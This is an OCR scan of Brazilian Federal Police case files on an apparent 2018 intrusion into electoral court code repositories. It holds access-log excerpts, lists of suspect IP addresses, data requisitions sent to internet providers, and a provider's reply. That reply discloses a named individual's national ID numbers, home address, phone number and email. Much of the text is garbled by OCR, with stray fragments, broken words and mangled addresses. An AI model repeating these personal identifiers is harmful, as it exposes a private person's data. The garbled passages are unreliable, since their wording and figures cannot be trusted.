eleitoral.png 

104 19/04/2018 05:03:34 10.12.2.29:65004:X1] 192.168.202.99:80:X0 /eleitoral/processo-eleitoral-cadastro- 
eleitores/tree/stable/02 fontes/dominio/src 

19/04/2018 05:05:13 10.12.2.7:8467:X1 192.168.202.99:80:X0 /eleitoral/elo/tree/stable/02 fontes/elo-integracao-ws- 
bio/src/test/resources 


S 
4) 





Ba 20 





p9 





Me 








inrormaddo Nº ptsotasdacinip (continuação) 


19/04/2018 05:07:58 10.12.2.7:21240:X1 192.168.202.99:80:X0 feleitoral/biometria/refs/stable/logs tree/?format=js 
19/04/2018 05:07:58 10.12.2.7:21241:X1 192.168.202.99:80:X0 /eleitoral/biometria/refs/stable/logs tree/02 fontes?format=js 


E 19/04/2018 05:08:22 10.12.2.7:27518:X1 192.168.202.99:80:X0 
19/04/2018 05:08:56 10.12.2.7:31081:X1 192.168.202.99:80:X0 /eleitoral/biometria/tree/stable/02  fontes/servico- 
ws/src/main/java/br/jus/tse/eleitoral/biometria/servico/ws 


id a a 
ws/src/main/java/br/jus/tse/eleitoral 






















/eleitoral/biometria/blob/stable/02 fontes/servico- 
ws/src/main/java/br/jus/tse/eleitoral/biometria/servico/ws/con 






lt4 19/04/2018 05:12:08 10.12.2.7:51307:X] 192.168.202.99:80:X0 feleitoral/biometria/blob/stable/02 fontes/soap- 
client/src/main/java/br/jus/tse/schemas/wsdl/biometria/assinatura 
ls 19/04/2018 05:15:10 10.12.2.7:13119:X1 192.168.202.99:80:X0 /eleitoral/biometria/tree/stable/02 fontes/soap- 
client/src/main/java/br/jus/tse/schemas/ 
19/04/2018 05:16:17 10.12.2.7:20585:X1 192.168.202.99:80:X0 feleitoral/biometria/tree/stable/02 fontes/servico/src/main/java/br 
fus/tse/eleitoral/biometria/integracao 


17 19/04/2018 05:19:20 10.12.2.7:29269:X1 192.168.202.99:80:X0 /eleitoral/configuracao/tree/stable/02 fontes/servico 
19/04/2018 05:19:37 10.12.2.7:35875:X1 192.168.202.99:80:X0 /eleitoral/configuracao/tree/stable 
19 19/04/2018 05:20:29 10.12.2.7:38041:X1 192.168.202.99:80:X0 /eleitoral/configuracao/tree/stable/02 fontes 
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nrormado Nº ansiosa cena (continuação) E, 


124 Hobftitulonet2-ga/br jus.tse.eleitoralStitulonet2-dominio/ 


125 19/04/2018 22:28:43 10.12.2.29:59108:X1 192.168.202.31:8080:X0 | /job/titulonet2-ga/br.jus.tse.eleitoral$titulonet2- 
dominio/test/trend 
19/04/2018 22:28:49 10.12.2.29:59156:X1 192.168.202.31:8080:X0 | fob/titulonet2-ga/br.jus.tse.eleitoral$titulonet2- 






















dominio/test/trendMap 


27 19/04/2018 22:28:55 10.12.2.29:60257:X] 192.168.202.31:8080:X0 | /job/titulonet2-ga/buildHistory/ajax 
28 19/04/2018 22:37:40 10.12.2.29:63792:X1 192.168.202.31:8080:X0 | /job/titulonet2-qa/modules 
29 19/04/2018 22:38:02 10.12.2.29:64388:X1 192.168.202.31:8080:X0 | /job/titulonet2-qa/buildHistory/ajax 


Obs.: linhas semelhantes (com datas aproximadas, mesmos endereços IPs e argumento) ou com argumento vazio foram omitidas, para maior 


(O Negibidade e concisão. 
ASS 
N 


mA 


Ea 
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CONCLUSÃO 


Considerando a análise apresentada acima, bem como a possibilidade de 
vinculação dos eventos ocorridos em abril/2018 com a notícia divulgada em setembro/2018, 
sugere-se oficiar as empresas supracitadas para que forneçam os dados cadastrais dos 


endereços IP utilizados nos acessos do usuário “digitro”, quais sejam: 





























— USUÁRIO DIGITRO” 


Organização ts 

Endereço IP Data Início Data Término 
Responsável 
LOCAWEB 
SERVIÇOS DE 191.252.64.20 17/04/2018 21:46:26 | 18/04/2018 06:36:35 | Brasil 
INTERNET S/A 
GRSA Reino 
COMMUNICATIONS | 195.140.215.13 17/04/2018 20:38:39 | 21/04/2018 15:02:57 : 
LTD Unido 


185.153.176.4 17/04/2018 21:31:18 | 18/04/2018 19:12:14 
185.153.176.5 18/04/2018 01:49:06 | 18/04/2018 02:19:32 
. : Panamá 








185.153.176.8 18/04/2018 02:25:21 | 18/04/2018 05:27:54 
185.153.176.2 18/04/2018 02:37:52 | 18/04/2018 02:56:54 À 
185.153.176.6 18/04/2018 03:04:47 | 18/04/2018 03:13:54 


185.153.176.3 18/04/2018 03:20:35 | 18/04/2018 03:20:35 


NORDVPN-LI 
TEFINCOM S.A. 


CLAROS.A. 






185.153.176.9 20/04/2018 10:50:23 | 20/04/2018 15:15:42 
201.81.167.53 18/04/2018 03:15:28 | 21/04/2018 08:36:42 | 1 
201.6.129.235 18/04/2018 05:24:54 | 18/04/2018 05:48:59 | TAS! 








18/04/2018 18:56:14 
18/04/2018 19:13:08 
18/04/2018 23:14:54 
18/04/2018 20:56:20 
18/04/2018 22:21:17 
18/04/2018 22:23:14 
18/04/2018 23:14:52 





19/04/2018 01:13:32 
19/04/2018 04:08:37 
19/04/2018 08:11:16 
19/04/2018 17:29:14 | 
TIM CELULAR S.A. 19/04/2018 18:05:13 
19/04/2018 19:16:40 
19/04/2018 20:43:37 
19/04/2018 23:05:03 
20/04/2018 01:20:59 
20/04/2018 05:00:09 
20/04/2018 09:40:30 
20/04/2018 10:32:32 
20/04/2018 19:30:32 
20/04/2018 23:01:19 
21/04/2018 00:11:45 





21/04/2018 01:39:43 


































INFORMAÇÃO Nº 002/2019-UTC/SRCC/CGPFAZ/DICOR'PF (continuação) Ç 
189.40.91.65 21/04/2018 06:55:36 | 21/04/2018 06:55:37 
177.164.206.74 21/04/2018 07:52:19 | 21/04/2018 08:36:40 
177.165.110.249 | 21/04/2018 10:01:29 | 21/04/2018 12:40:46 
186.197.65.147 21/04/2018 12:56:05 | 21/04/2018 15:04:14 


Também sugere-se a solicitação do conteúdo referente à hospedagem da Locaweb 


Serviços de Internet S/A, utilizada para baixar o artefato malicioso: 


DATA/HORA ENDEREÇO IP 
18/04/2018, 00:23:48 191.252.0.19 











Com esta Informação, devolve-se o material supracitado. Era o que havia a relatar. 


Brasília/DF, 19 de março de 2019. 
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Ad 
SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 
SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS. Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 
“AUTO DE APREENSÃO Nº 184/2019 
IPL- 1361/2018-4- SR/PF/DF 


Aoç) 18 dia(s) do mês de abril de 2019, nesta SUPERINTENDÊNCIA REGIONAL DE 
POLÍCIA FEDERAL NO DISTRITO FEDERAL, em Brasilia/DF, onde se encontrava 
VICTOR NEVES FEITOSA CAMPOS, Delegado de Polícia Federal, pelo mesmo foi 
determinado que se tornasse efetiva a apreensão, na forma da Lei, do material abaixo 
discriminado: 


Apreensão nº; 184/2019 o 


Item)Descrição 
Hd computador 

















Quant. | Unidade Observação 


HD externo, marca Multilaser, 
na cor prata, encaminhado 
juntamente com a Informação 
002/2019-UTC/SRCC 
Pen Drive, capacidade 8 GB, 
na cor preta e prata, 
encaminhado juntamente com 
a Informação 
002/2019-UTC/SRCC 
























2 Pendrive | 











Referida apreensão se deu em cumprimento ao Item 3 do Despacho da Autoridade 
Policial (fis. 30). Nada mais havendo, determinou a autoridade o encerramento do 
| comigo, LEONARDO BRUCE 
MADUREIRA LOPES, Escrivão de Polícia Federal /as testemunhas. 


presente que, lido e achado conforme, assina 





AUTORIDADE "uia tia antera sd a sc RR 


ESCRIVÃO(a; 
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SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 
SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 


SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 
Ofício nº 3415/2019 - IPL 1361/2018-4 SR/PF/DF - GRCC 
| Em 18 de abril de 2019. 


A Sua Senhoria o Chefe do Depósito/SR/PF/DF. 
Escrivão de Polícia Federal . 


Assunto: Encaminha material apreendido. 
Referência: IPL nº 1361/2018-4-SR/PF/DF 


Senhor Chefe, 


Encaminho para fins de guarda em Depósito, o material abaixo descrito, 


conforme item 3 do Despacho de fl. 30. 










APREENSÃO nº 184/2019 | | 
itemjDescrição | | Quant. | Unidade Observação 7 
Hireomputador M “UN — |HD externo, marca Multilaser, na 









cor prata, encaminhado 
juntamente com a Informação 
002/2019-UTCISRCC 
Pen Drive, capacidade 8 GB, na 
cor preta e prata, encaminhado 
juntamente com a Informação 
-J002/2019-UTC/SRCC 
















“2 [Pendrive 












Atenciosamente, 


VICTOR NEVES FEITOSA CAMPOS 
Delegado é Polícia Federal 
Classe Especial - Matrícula nº 18 
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SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 
SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 
Ofício nº 3417/2019 - IPL. 1361/2018-4 SR/PF/DF - GRCC 


Brasilia/DF, 18 de abril de 2019. 


A Sua Senhoria o Senhor 

Diretor-Presidente da Locaweb Servicos de Internet S/A. 
Rua Itapaiuna, 2434 

Sao Paulo- SP. 

CEP 05707-001 


Assunto: Requisita informações cadastrais 
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referência na resposta) 


SenhoraDiretorça) 


1- Cumprimentando-o, sirvo-me do presente para, visando a instruir os autos do 
Inquérito Policial em epígrafe, REQUISITAR a Vossa Senhoria informações sobre os dados 
cadastrais de usuário, conforme esclarecimentos que seguem. 


2- Por óbvio, e ainda mais ante a expressa previsão legal, o acesso aos dados 
cadastrais não estão agasalhados pelo inciso X, do artigo 5º, da Constituição Federal, de modo 
que não se contrapõe ao princípio da inviolabilidade da intimidade a permissibilidade de acesso 
a essas informações sem prévia autorização judicial. 


3- Aliás, como reconhecido pelo próprio legislador pátrio, com a inserção do Art. 
17-B, na Lei 9.613/98 ("Art. 17-B. A autoridade policial e o Ministério Público terão acesso, 
exclusivamente, aos dados cadastrais do investigado que informam qualificação pessoal, 
filiação e endereço, independentemente de autorização judicial, mantidos pela Justiça Eleitoral, 
pelas empresas telefônicas, pelas instituições financeiras, pelos provedores de internet e pelas 
administradoras de cartão de crédito") e, posteriormente, com o Art. 2º, 82º, da Lei 
12.830/2013 ("$ 20 Durante a investigação criminal, cabe ao delegado de polícia a requisição 
de perícia, informações, documentos e dados que interessem à apuração dos fatos") e art. 15, 
da Lei 12.850/2013 ('Art. 15. O delegado de polícia e o Ministério Público terão acesso, 
independentemente de autorização judicial, apenas aos dados cadastrais do investigado que 
informem exclusivamente a qualificação pessoal, a filiação e o endereço mantidos pela Justiça 
Eleitoral, empresas telefônicas, instituições financeiras, provedores de intemet e 
administradoras de cartão de crédito"), a Autoridade Policial pode REQUISITAR dados 
cadastrais de investigados, ou seja: qualificação pessoal, documentos e endereço, 
INDEPENDENTEMENTE DE AUTORIZAÇÃO JUDICIAL, mantidos pelas empresas provedoras 
de serviços na internet. 


DA REQUISIÇÃO 
4- Sendo assim, REQUISITO os dados cadastrais do usuário do IP 191.252.64.20, 


em 17/04/2018, às 21:46:26 e 18/04/2018, às 06:36:35, bem como o conteúdo referente à 
hospedagem que utilizou o IP 191.252.0.19, em 18/04/2018, às 00:23:48. 
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MSP - POLÍCIA FEDERAL 


SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


- DO PRA: A ATEN 
5- Assinalo o PRAZO de 10 (dez) dias para o atendimento, do recebimento. 


6- Visando a possibilitar o atendimento em tempo hábil, informo que a resposta 
deverá ser encaminhada para o endereço eletrônico <grcc.df(Qdpf.gov:br>, devendo o 
original também ser encaminhado fisicamente ao signatário, no Grupo de Repressão a 
Crimes Cibernéticos (GRCC) da Superintendência Regional da Polícia Federal em 
Brasília/DF, endereço descrito no cabeçalho do presente ofício. 


DAS COMINAÇÕES LEGAIS EM CASO DE NÃO ATENDIMENTO 


7- Registro, por oportuno, que o não atendimento injustificado no prazo implicará na 
caracterização da prática do crime de desobediência e/ou de sonegação de documento, 
sujeitando os responsáveis pela recusa indevida, às penas do artigo . 21 da Lei 12.850/2013 
(Art. 21 - Recusar ou omitir dados cadastrais, registros, documentos e informações 
requisitadas pelo juiz, Ministério Público ou Delegado de Polícia, no curso de investigação ou 
do processo; Pena - reclusão, de 6 (seis) meses a 2 (dois) anos, e multa). 


8 - Ressalto, por fim, que a divulgação do conteúdo desta requisição ao proprietário 
da conta ou a terceiros poderá caracterizar o crime previsto no parágrafo único do art. 21, da 
Lei 12.850/2013: "Na mesma pena incorre quem, de forma indevida, se apossa, propala, 
divulga ou faz uso dos dados cadastrais de que trata esta Lei" e/ou o crime previsto no art. 153, 
8 1o-A, do Código Penal: "Divulgar, sem justa causa, informações sigilosas ou reservadas, 
assim definidas em lei, contidas ou não nos sistemas de informações ou banco de dados da 
Administração Pública: Pena — detenção, de 1 (um) a 4 (quatro) anos, e multa." 


Atenciosamente, 






VICTOR NEVE ITOSA CAMPOS 
Delegado olícia Federal 
Classe Especi trículã nº 16.179 
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STO EE 
SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 
SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 
Ofício nº 3418/2019 - IPL 1361/2018-4 SR/PF/DF - GRCC 


Brasília/DF, 18 de abril de 2019. 


A Sua Senhoria o(a) Senhora) 

Diretor Jurídico 

Empresas CLARO/NET/EMBRATEL 
Rua Verbo Divino, nº 1356, Térreo 
Chácara Santo Antonio - Zona Sul 
São Paulo/SP - CEP 04.719-002 


Assunto: Requisita informações cadastrais 
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referência na resposta) 


SenhorçaDiretor(a) 


1- Cumprimentando-o, sirvo-me do presente para, visando a instruir os autos do 
Inquérito Policial em epigrafe, REQUISITAR a Vossa Senhoria informações sobre os dados 
cadastrais de usuário, conforme esclarecimentos que seguem. 


2- Por óbvio, e ainda mais ante a expressa previsão legal, o acesso aos dados 
cadastrais não estão agasalhados pelo inciso X, do artigo 5º, da Constituição Federal, de modo 
que não se contrapõe ao princípio da inviolabilidade da intimidade a permissibilidade de acesso 
a essas informações sem prévia autorização judicial. 


3- Aliás, como reconhecido pelo próprio legislador pátrio, com a inserção do Art. 
17-B, na Lei 9.613/98 ("Art 17-B. A autoridade policial e o Ministério Público terão acesso, 
exclusivamente, aos dados cadastrais do investigado que informam qualificação pessoal, 
filiação e endereço, independentemente de autorização judicial, mantidos pela Justiça Eleitoral, 
pelas empresas telefônicas, pelas instituições financeiras, pelos provedores de internet e pelas 
administradoras de cartão de crédito") e, posteriormente, com o Art. 2º, 82º, da Lei 
12.830/2013 ("$ 20 Durante a investigação criminal, cabe ao delegado de polícia a requisição 
de perícia, informações, documentos e dados que interessem à apuração dos fatos") e art. 15, 
da Lei 12.850/2013 ("Art. 15. O delegado de polícia e o Ministério Público terão acesso, 
independentemente de autorização judicial, apenas aos dados cadastrais do investigado que 
informem exclusivamente a qualificação pessoal, a filiação e o endereço mantidos pela Justiça 
Eleitoral, empresas telefônicas, instituições financeiras, provedores de intemet e 
administradoras de cartão de crédito"), a Autoridade Policial pode REQUISITAR dados 
cadastrais de investigados, ou seja: qualificação pessoal, documentos e endereço, 
INDEPENDENTEMENTE DE AUTORIZAÇÃO JUDICIAL, mantidos pelas empresas provedoras 
de serviços na internet. 


DA REQUISIÇÃO 
4- Sendo assim, REQUISITO os dados cadastrais dos usuários do IP 


201.81.167.53, em 18/04/2018, às 03:15:28 e 21/04/2019, às 08:36:42, e do IP 201.6.129.235, 
em 18/04/2018, às 05:24:54 e 18/04/2018, às 05:48:59. 
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SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 
SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 


SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 
O PRAZO PARA À ENTO 


5- Assinalo o PRAZO de 10 (dez) dias para o atendimento, do recebimento. 





6- Visando a possibilitar o atendimento em tempo hábil, informo que a resposta 
deverá ser encaminhada para o endereço eletrônico <grec.df(Qdpf.gov.br>, devendo o 
original também ser encaminhado fisicamente ao signatário, no Grupo de Repressão a 
Crimes Cibernéticos (GRCC) da Superintendência Regional da Polícia Federal em 
Brasilia/DF, endereço descrito no cabeçalho do presente ofício. 





7- Registro, por oportuno, que o não atendimento injustificado no prazo implicará na 
caracterização da prática do crime de desobediência e/ou de sonegação de documento, 
sujeitando os responsáveis pela recusa indevida, às penas do artigo 21 da Lei 12.850/2013 
(Ant. 21 - Recusar ou omitir dados cadastrais, registros, documentos e informações 
requisitadas pelo juiz, Ministério Público ou Delegado de Polícia, no curso de investigação ou 
do processo: Pena - reclusão, de 6 (seis) meses a 2 (dois) anos, e multa). 


8 - Ressalto, por fim, que a divulgação do conteúdo desta requisição ao proprietário 
da conta ou a terceiros poderá caracterizar o crime previsto no parágrafo único do art. 21, da 
Lei 12.850/2013: "Na. mesma pena incorre quem, de forma indevida, se apossa, propala, 
divulga ou faz uso dos dados cadastrais de que trata esta Lei" e/ou o crime previsto no art. 153, 
8 1o-A, do Código Penal: "Divulgar, sem justa causa, informações sigilosas ou reservadas, 
assim definidas em lei, contidas ou não nos sistemas de informações ou banco de dados da 
Administração Pública: Pena — detenção, de 1 (um) a 4 (quatro) anos, e multa." 








Atenciosamente, 
VICTOR NEVES/FEITOSA CAMPOS 
Delegad e Polícia Federal 
Classe Espetiál - Matrícula nº 16.179 


IPL Nº 1361/2018 o fis.2/2 


ad 


a! 








"SRIBEJDF 
PRE Eaaa, 
[Rub: / 








SERVIÇO PÚBLICO FEDERAL 
MSP- POLÍCIA FEDERAL 
SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 


SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 
Ofício nº 3419/2019 - IPL 1361/2018-4 SR/PF/DF - GRCC 


Brasília/DF, 18 de abril de 2019. 


A Sua Senhoria GajSenhorça, 

Diretorada Empresa TIM BRASIL 

Av. Alexandre Gusmão, 29, Bloco C, Vila Omero Tom 
Santo Andre/SP - CEP. 09.015.970 


Assunto: Solicitação de informações 
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referência na resposta) 


SenhorçaDiretor(a) 


1. Cumprimentando-o, sirvo-me do presente para, visando a instruir os autos do Inguérito 
Policial em epígrafe, REQUISITAR a Vossa Senhoria ireimaçÕes sobre os dados cadastrais de usuário, 
conforme esclarecimentos que seguem. 


2- Por óbvio, e ainda mais ante a expressa previsão legal, o acesso aos dados cadastrais 
não estão agasalhados pelo inciso X, do artigo 5º, da Constituição Federal, de modo que não se 
contrapõe ao principio da inviolabilidade da intimidade a permissibilidade de acesso a essas informações 
sem prévia autorização judicial. 


3- Aliás, como reconhecido pelo próprio legislador pátrio, com a inserção do Art. 17-B, na 
Lei 9.613/98 (Art. 17-B. A autoridade policial e o Ministério Público terão acesso, exclusivamente, aos 
dados cadastrais - do investigado que informam qualificação pessoal, filiação e endereço, 
independentemente de autorização judicial, mantidos pela Justiça Eleitoral, pelas empresas telefônicas, 
pelas instituições financeiras, pelos provedores de internet e pelas administradoras de cartão de crédito") 
e, posteriormente, com o Art. 2º, 82º, da Lei 12.830/2013 ("$ 20 Durante a investigação criminal, cabe 
ao delegado de polícia a requisição de perícia, informações, documentos e dados que interessem à 
apuração dos fatos") e art. 15, da Lei 12.850/2013 (“Art 15. O delegado de polícia e o Ministério Público 
terão acesso, independentemente de autorização judicial, apenas aos dados cadastrais do investigado 
que informem exclusivamente a qualificação pessoal, a filiação e o endereço mantidos pela Justiça 
Eleitoral, empresas telefônicas, instituições financeiras, provedores de intenet e administradoras de 
cartão de crédito"), a Autoridade Policial pode REQUISITAR dados cadastrais de investigados, ou seja: 
qualificação pessoal, documentos e endereço, INDEPENDENTEMENTE DE AUTORIZAÇÃO JUDICIAL, 
mantidos pelas empresas provedoras de serviços na internet. 


DA REQUISIÇÃO 


4- Sendo assim, REQUISITO os dados cadastrais dos usuários dos IP: 
189.40.75.154, em 18/04/2018, às 18:56:14 
191.51.34.72, em 18/04/2018, às 19:02:05 
189.40.75.239, em 18/04/2018 20:45:41 
177.219.117.183, em 18/04/2018, às 20:56:20 
189.40.72.247, 18/04/2018, às 22:21:17 
189.40.72.14, em 18/04/2018 22:23:14 
189.40.91.135, em 18/04/2018, às 22:29:37 
189.40.90.239, em 19/04/2018, às 01:13:32 
189.40.90.253, em 19/04/2018, às 04:08:37 
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SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


O PRA RA ATENDIMENTO 


5- Assinalo o PRAZO de 10 (dez) dias para o atendimento, a contar do recebimento. 


OI DE DIMENTO 


6- Visando a possibilitar o atendimento em tempo hábil, informo que a resposta deverá ser 
encaminhada para o endereço eletrônico <grec.dfOdpf.gov.br>, devendo o original também ser 
encaminhado fisicamente ao signatário, no Grupo de Repressão a Crimes Cibernéticos (GRCC) da 
Superintendência Regional da Polícia Federal em Brasilia/DF, endereço sesento no cabeçalho do 
presente ofício. 





7- Registro, por oportuno, que o não atendimento injustificado no prazo implicará na 
caracterização da prática do crime de desobediência e/ou de sonegação de documento, sujeitando os 
responsáveis pela recusa indevida, às penas do artigo 21 da Lei 12.850/2013 (Art. 21 - Recusar ou omitir 
dados cadastrais, registros, documentos e informações requisitadas pelo juiz, Ministério Público ou 
Delegado de Polícia, no curso de investigação ou do processo: Pena - reclusão, de 6 (seis) meses a 2 
(dois) anos, e multa). 


8 - Ressalto, por fim, que a divulgação do conteúdo desta requisição ao proprietário da conta 
ou a terceiros poderá caracterizar o crime previsto no parágrafo único do art. 21, da Lei 12.850/2013: "Na 
mesma pena incorre quem, de forma indevida, se apossa, propala, divulga ou faz uso dos dados 
cadastrais de que trata esta Lei" e/ou o crime previsto no art. 153, 8 1o-A, do Código Penal: "Divulgar, 
sem justa causa, informações sigilosas ou reservadas, assim definidas em lei, contidas ou não nos 


) sistemas de informações ou banco de dados da Administração Pública: Pena - detenção, de 1 (um) 







a 4 (quatro) anos, e multa." 
IFOSA CAMPOS 


Atenciosamente, . /) 
Policia Federal 


- Matricula nº 16.179 
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REMESSA 
Ministério Público Federal do DF 






ÃO(s) 21104/2019, faço remessa dos autos do IPL nº 
EloreA contendo 1 volume(s) e O apenso(s). Eu 
| LEONARDO BRUCE MADUREIRA LOPES, Escrivão 

lícia Federal, 1º Classe, Matrícula nº 17.933, que o lavrei, 
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MINISTÉRIO PÚBLICO FEDERAL ! 
PROCURADORIA DA REPÚBLICA NO DISTRITO FEDERAL 
COORDENADORIA JURÍDICA 
DIVISÃO CRIMINAL 


AUTOS: DPF/DF-1361/2018-INQ. ss: 
- CERTIDÃO 


Certifico que, em 22/04/2019, deram entrada na Procuradoria da República no Distrito Federal os presentes autos e, nesta 
data, conforme! regras estabelecidas no Congresso Interno de 2018 e na Resolução 31/2018, faço sua: 


a Movimentação ao(à) Procurador(a) da República; Dr.(a) Igor Nery Figueiredo, y = 
“O Por ser o(a) titular do PRDF - 2º Oficio de CCI, ao qual o presente feito encontra-se distribuído. 
O Por ser o(a) titular da PRDF — Ofício de Meio Ambiente e Patrimônio Cultural, ao qual o presente feito encontra- 
| se distribuído. . 
O Por ser o(a) titular do PRDF — Ofício de CCI, substituto não designado. 
Õ 


» 


atuando no: 
acervo do 'PRDF — 


O Apedido. ea , É 4 


Brasília, ) 


Ana Rade e Dauza ker — mat. 25657-9 
DIVISÃO/GR 


CERTIDÃO DE REM ESSA 


EnAS;O 0 Goi, faço remessa ss presentes autos, contendo as e anexo/apenso(s), à (ao) 


[] Justiça Federal/DF Q Departamento de Polícia Federal Ú 





OG 


Responsável/Matricula 




















Ministério Público Federal 


Procuradoria da República no Distrito Federal 





IPL nº 1361/2018 SR/DPF/DF 


Sr.(a) Delegado(a) de Polícia Federal, 


O presente inquérito não se encontra suficientemente instruído, havendo 


necessidade de prosseguimento das investigações com vistas à formação da opinio delicti. 


Destarte, este órgão ministerial concede novo prazo de 90 (noventa) dias 
para a realização das diligências indispensáveis ao esclarecimento dos fatos sob apuração, 


conforme solicitado no despacho de fl. 30. 


Brasilia/DF, 25 de abril de 2019. 





PR/DF | SGAS 604, Lote 23, Av. L2 Sul, Brasilia/DF CEP:70200-640 














As eba ostes eu 


RUo Ei 





contons 





Do que, para Coicii, eu. 


 Escrivão(ás us Peucia 
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CERTIDAO 
CERTIFICO que em virtude do afastamento da autoridade policial e do autos 
encontrarem-se vencidos em sede policial, enca Q os autos para q 
DRCOR/SR/PF/DF, para providências cabíveis. O r 
fé. Brasília/DF, 07 de agosto de 2019. Eu, LEONARDO 
BRUCE MADUREIRA LOPES, Escrivão de Polícia Féderal, 13 Classe 
j) Matrícula nº 17.933, que a lavrei. 


IPL Nº 0511/2017 





SRIPF/DF 
Fis1! E: 
Rub: 





SR/PF/DF 
FI: 


Rub: 
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IPL nº 1361/2018-4 - SR/PF/DF 
DESPAÇHO 


Junte-se a resposta da empresa Locaweb; 
Junte-se as respostas da empresa TIM Brasil S.A; 


Ru d 


Junte-se a resposta da empresa Claro S.A; 


4. Junte-se a resposta por email do Tribunal Superior Eleitoral assinada 
pelo servido Cristiano Moreira Andrade; 


5. Ciente da certidão elaborada pelo EPF BRUCE e considerando que 
ainda restam pendentes diligências tidas por imprescindíveis ao esclarecimento da 
verdade material (art. 4º, do CPP e art. 2º, 81º, da Lei 12.830/2013) e considerando as 
disposições do Provimento/COGER nº 37/2009 (TRF 1º Região), remetam-se estes 
autos ao(à) Ministério Público Federal do DF, para fins de controle externo (Art. 129, 
Mil, da CF/88, clc. o Art. 9º, Il, da LC ), soligitando posterior devolução para 
continuidade das investigações ou, caso de aprésentação de peça acusatória ou 
promoção de arquivamento, cornunicação formial da medida adotada a esta 
Superintendência, para fins de régistro e,baj sistemas de controle interno. 










de agosto de 2019. 
vd E aa 


HUGO DE BARROS CORREIA 
Delegado de Polícia Federal 

Classe Especial - Matrícula nº 10.522 

DRCOR/SR/PF/DF 


DATA 


Ao(s, 07/08/2019, recebi-estes autos do(da) Delegado(a) HUGO DE BARROS 
CORREIA. Eu, LEONARDO BRUCE MADUREIRA LOPES, Escrivão de 
Polícia Federal, 





JUNTADA 


Ao(s) 07/08/2019, faço juntada"aos autos do(s, documento(s referidoçs, no 
Despacho retro. Eu, — LEONARDO BRUCE MADUREIRA 


LOPES, Escrivão de Políci der 1) que o lavrei. 


IPL Nº 1361/2018 








á> 
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O sI% 008. 2541/2019 “OS Gecc 
o locaweb? 


Paixão por desenvolver 


São Paulo, 02 de maio de 2019. 
Ao 
SERVIÇO PÚBLICO FEDERAL 
MSP — POLÍCIA FEDERAL 
| SUPEINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS — Quadra 7 -Lote 23 — Setor Policial Sul 
Brasília — DF 
CEP 70610-902 





Ilmo. Delegado de Polícia 

Dr. Victor Neves Feitosa Campos 
Ref.: Ofício nº 3417/2019 — IPL 1361/2018-4 SR/PF/DF 
— GRCC — Assunto: Requisita Informações Cadastrais — 
Datado de 18 de abril de 2019 — Recebido em 23 de 
abril de 2019. 


) ilmo. Dr., 


Em cumprimento tempestivo ao Ofício supra, informamos abaixo os dados cadastrais 
relacionados aos IP's nº 191.252.64.20 em 17.04.2018 às 21:46:26 e 18.04.2018 às 06:36:35 -e- 
191.252.0.19 em 18.04.2018 às 00:23:48, respectivamente: 


1) Nome: Luiz Henrique Detlinger 
CPF: 042.749.858-90 
RG: 10275110 
Endereço: Rua Santa Inês o Ev E 
Número: 99807 ATOCOLO/NADISR/DPF/DE 

: da 

Bairro: Conjunto Guiomard Santos BE MOS ES 
Cidade: Rio Branco 





| 
Estado: Acre Brasilia DO Ah; 2m1ã | 
CEP: 69901-441 
Telefone: (12) 3953-9999 
O E-mail principal: ednei.pexa protonmail.com de Senidor - 


2) Aproveitamos para salientar que os IP's mencionados estão atrelados ao cliente acima, que, 
possuía o produto de cloud (desativado em julho de 2018), com gerenciamento efetuado pelo 
próprio cliente, desta forma, caso seja necessária maior informação, tal solicitação deve ser 
direcionada à pessoa acima citada. 


3) Ainda, no que tange à solicitação de vossa senhoria quanto ao conteúdo referente à 
hospedagem que utilizou o IP 191.252.0.19, primeiramente, cumpre salientar que de acordo 
com a Lei do Marco Civil, os registros de acesso as aplicações de internet (IPs, demais logs, 
conteúdo) somente serão disponibilizados pelos Provedores de Aplicação, mediante ordem 
judicial, o que não impede o acesso à dados cadastrais por autoridades 
administrativas/policiais, conforme os mesmos repassados no tópico 1. Desta forma, 


| Rua itapaiúna, 2434 - Vila Andrade - 05707-001 — São Paulo — SP x 














locaweb 0 


Paixão por desenvolver 


poderiamos repassar tal informação ( conteúdo) apenas com a devida ordem judicial. 
Entretanto, confome exposto no tópico 2, os serviços foram desativados em 27 de julho de 
2018, e assim, adiantamos que não possuírimos capacidade técnica para o feito de toda forma 
visto o lapso temporal,( superior à 6 meses, que é o prazo de guarda de dados nos moldes da 
lei supracitada), de modo que, já houve a deleção. 


Sendo o que nos cumpria para o momento, apresentando os protestos de elevada estima e 
distinta consideração, subscrevemo-nos. 


tenciosamente, 


LOCAWEB S VIÇOS DE INTERNET S/A 


Rua Itapaiúna, 2434 - Vila Andrade - 05707-001 — São Paulo — SP 
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am À HIM CONFIDENCIAL 


